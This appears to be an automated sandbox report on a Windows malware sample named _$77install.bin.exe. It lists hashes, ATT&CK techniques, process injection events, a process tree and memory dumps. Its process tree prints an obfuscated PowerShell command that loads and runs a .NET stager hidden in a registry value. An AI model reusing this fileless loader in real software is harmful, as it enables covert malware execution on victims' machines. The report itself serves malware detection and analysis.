b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
150s
max time network
16s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 05:04

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General

Target

_$77install.bin.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

discovery evasion execution

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2840 created 432	2840	powershell.EXE	5

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2840 set thread context of 2968	2840	powershell.EXE	33

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	_$77install.bin.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9099a68c87f3da01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2840	powershell.EXE
2840	powershell.EXE
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe
2968	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.EXE
Token: SeDebugPrivilege	2840	powershell.EXE
Token: SeDebugPrivilege	2968	dllhost.exe
Token: SeAuditPrivilege	856	svchost.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2840	2680	taskeng.exe	31
PID 2680 wrote to memory of 2840	2680	taskeng.exe	31
PID 2680 wrote to memory of 2840	2680	taskeng.exe	31
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2840 wrote to memory of 2968	2840	powershell.EXE	33
PID 2968 wrote to memory of 432	2968	dllhost.exe	5
PID 2968 wrote to memory of 476	2968	dllhost.exe	6
PID 2968 wrote to memory of 492	2968	dllhost.exe	7
PID 2968 wrote to memory of 500	2968	dllhost.exe	8
PID 2968 wrote to memory of 604	2968	dllhost.exe	9
PID 2968 wrote to memory of 684	2968	dllhost.exe	10
PID 2968 wrote to memory of 760	2968	dllhost.exe	11
PID 2968 wrote to memory of 820	2968	dllhost.exe	12
PID 2968 wrote to memory of 856	2968	dllhost.exe	13
PID 2968 wrote to memory of 968	2968	dllhost.exe	15
PID 2968 wrote to memory of 276	2968	dllhost.exe	16
PID 2968 wrote to memory of 340	2968	dllhost.exe	17
PID 2968 wrote to memory of 1080	2968	dllhost.exe	18
PID 2968 wrote to memory of 1100	2968	dllhost.exe	19
PID 2968 wrote to memory of 1172	2968	dllhost.exe	20
PID 2968 wrote to memory of 1228	2968	dllhost.exe	21
PID 2968 wrote to memory of 2028	2968	dllhost.exe	23
PID 2968 wrote to memory of 1396	2968	dllhost.exe	24
PID 2968 wrote to memory of 1576	2968	dllhost.exe	25
PID 2968 wrote to memory of 2920	2968	dllhost.exe	26
PID 2968 wrote to memory of 2948	2968	dllhost.exe	27
PID 2968 wrote to memory of 2680	2968	dllhost.exe	30

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f090605f-eea7-409f-b669-181f68acb2a3}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2968

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:604
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:2028
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1576
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:684
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:760
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:820
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1172
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {A32897B2-62D5-41B0-9019-13AAFED64146} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2840
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:968
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:276
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:340
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1080
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1100
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1396
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2920
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2948

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1228
- C:\Users\Admin\AppData\Local\Temp\_$77install.bin.exe
  "C:\Users\Admin\AppData\Local\Temp\_$77install.bin.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/432-26-0x00000000003F0000-0x0000000000415000-memory.dmp

Filesize
148KB

Download
memory/432-154-0x00000000003F0000-0x0000000000415000-memory.dmp

Filesize
148KB

Download
memory/432-37-0x0000000000420000-0x000000000044B000-memory.dmp

Filesize
172KB

Download
memory/432-38-0x000007FEBDE20000-0x000007FEBDE30000-memory.dmp

Filesize
64KB

Download
memory/432-27-0x00000000003F0000-0x0000000000415000-memory.dmp

Filesize
148KB

Download
memory/432-28-0x0000000000420000-0x000000000044B000-memory.dmp

Filesize
172KB

Download
memory/432-149-0x00000000778B1000-0x00000000778B2000-memory.dmp

Filesize
4KB

Download
memory/432-39-0x00000000378A0000-0x00000000378B0000-memory.dmp

Filesize
64KB

Download
memory/432-29-0x0000000000420000-0x000000000044B000-memory.dmp

Filesize
172KB

Download
memory/432-196-0x00000000003F0000-0x0000000000415000-memory.dmp

Filesize
148KB

Download
memory/476-53-0x00000000000C0000-0x00000000000EB000-memory.dmp

Filesize
172KB

Download
memory/476-192-0x0000000000090000-0x00000000000B5000-memory.dmp

Filesize
148KB

Download
memory/476-45-0x00000000000C0000-0x00000000000EB000-memory.dmp

Filesize
172KB

Download
memory/476-54-0x000007FEBDE20000-0x000007FEBDE30000-memory.dmp

Filesize
64KB

Download
memory/476-55-0x00000000378A0000-0x00000000378B0000-memory.dmp

Filesize
64KB

Download
memory/476-150-0x0000000000090000-0x00000000000B5000-memory.dmp

Filesize
148KB

Download
memory/492-70-0x000007FEBDE20000-0x000007FEBDE30000-memory.dmp

Filesize
64KB

Download
memory/492-71-0x00000000378A0000-0x00000000378B0000-memory.dmp

Filesize
64KB

Download
memory/492-69-0x0000000000060000-0x000000000008B000-memory.dmp

Filesize
172KB

Download
memory/492-61-0x0000000000060000-0x000000000008B000-memory.dmp

Filesize
172KB

Download
memory/492-151-0x0000000000030000-0x0000000000055000-memory.dmp

Filesize
148KB

Download
memory/492-193-0x0000000000030000-0x0000000000055000-memory.dmp

Filesize
148KB

Download
memory/500-152-0x00000000002B0000-0x00000000002D5000-memory.dmp

Filesize
148KB

Download
memory/500-194-0x00000000002B0000-0x00000000002D5000-memory.dmp

Filesize
148KB

Download
memory/604-153-0x00000000001C0000-0x00000000001E5000-memory.dmp

Filesize
148KB

Download
memory/604-195-0x00000000001C0000-0x00000000001E5000-memory.dmp

Filesize
148KB

Download
memory/2840-22-0x000007FEF6140000-0x000007FEF6ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-10-0x000007FEF6140000-0x000007FEF6ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-0-0x000007FEF63FE000-0x000007FEF63FF000-memory.dmp

Filesize
4KB

Download
memory/2840-1-0x0000000019FF0000-0x000000001A2D2000-memory.dmp

Filesize
2.9MB

Download
memory/2840-2-0x00000000009E0000-0x00000000009E8000-memory.dmp

Filesize
32KB

Download
memory/2840-3-0x000007FEF6140000-0x000007FEF6ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-4-0x000007FEF6140000-0x000007FEF6ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-5-0x000007FEF6140000-0x000007FEF6ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-6-0x0000000001370000-0x000000000139A000-memory.dmp

Filesize
168KB

Download
memory/2840-7-0x0000000077860000-0x0000000077A09000-memory.dmp

Filesize
1.7MB

Download
memory/2840-8-0x000007FEF6140000-0x000007FEF6ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-9-0x0000000077740000-0x000000007785F000-memory.dmp

Filesize
1.1MB

Download
memory/2968-18-0x0000000077860000-0x0000000077A09000-memory.dmp

Filesize
1.7MB

Download
memory/2968-15-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-11-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-12-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-13-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-191-0x0000000077860000-0x0000000077A09000-memory.dmp

Filesize
1.7MB

Download
memory/2968-17-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-19-0x0000000077740000-0x000000007785F000-memory.dmp

Filesize
1.1MB

Download
memory/2968-20-0x0000000077861000-0x0000000077962000-memory.dmp

Filesize
1.0MB

Download
memory/2968-21-0x0000000077860000-0x0000000077A09000-memory.dmp

Filesize
1.7MB

Download